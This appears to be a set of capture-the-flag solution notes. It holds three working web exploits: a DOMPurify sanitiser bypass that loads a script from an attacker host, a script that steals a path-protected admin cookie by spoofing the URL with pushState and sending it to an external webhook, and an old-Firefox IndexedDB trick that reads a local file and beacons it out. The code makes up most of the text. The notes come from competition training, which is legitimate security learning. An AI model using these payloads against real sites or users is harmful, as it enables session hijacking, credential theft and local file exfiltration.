xss in /notes and /admin/view-notes by bypassing dompurify through replace()'s replacement
<img src="abc123$`<script src='http://attcker.site/c.js'></script>" />the SUPERADMIN_ACCESS_KEY cookie was protected by the attribute path=/access-key. this means the browser hides this cookie from any page that is not inside that path. however duo to all("/*", (req, res) => res.socket.destroy()) the socket will get distroyed immediatly if u redirect the bot to /access-key, thats why we need to trick the browser into believing that he made a top-level navigation without requesting the server.
const WEBHOOK = "https://mggcnkxwopfuetfnoiqx48eldr407cxuc.oast.fun/cookie";
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
setTimeout(async () => {
let w = window.open('/health');
await sleep(500);
w.history.pushState(1, 1, "/access-key/");
await sleep(500);
w.location = 'javascript:"blablabla"';
await sleep(500);
navigator.sendBeacon(WEBHOOK, w.document.cookie);
}, 1000);history.pushState() API allows javaScript to change the URL displayed in the address bar without reloading the page.
but simply calling pushState might not immediately update the document.cookie getters,thats why triggering a "soft navigation" to a javascript:"blabala" (if the value is a string, that string is treated as an HTML document and the browser navigates to a new document with that content) URL forces the browser to re-evaluate the security context and the document.cookie availability based on the new URL (which we just spoofed to /access-key/) make it possible to leak w.document.cookie.
===========================
firefox is at an old version have a xssi bug allow for local file read :
<script>
const req = indexedDB.open("mydb", 1);
req.onupgradeneeded = e => {
const db = e.target.result;
db.createObjectStore("files");
};
req.onsuccess = e => {
const db = e.target.result;
const tx = db.transaction("files", "readwrite");
const store = tx.objectStore("files");
const blob = new Blob([`<html><body>
<script>
fetch('file:///flag.txt')
.then(r => r.text())
.then(text => navigator.sendBeacon('https://webhook.site/flag', text))
.catch(err => console.error('Fetch error (likely blocked):', err));
<\/script>
</body></html>`], {type: "text/html"});
store.put(blob, "page1");
tx.oncomplete = () => console.log("HTML blob saved");
};
</script>make bot visit it firefox will store the script in indexDB cache : ex: file:///tmp/browser-files/storage/default/http+++bore.pub+21149^userContextId=<ID>/idb/76280329mbyd.files/1
from Google ctf 2025 sourceless.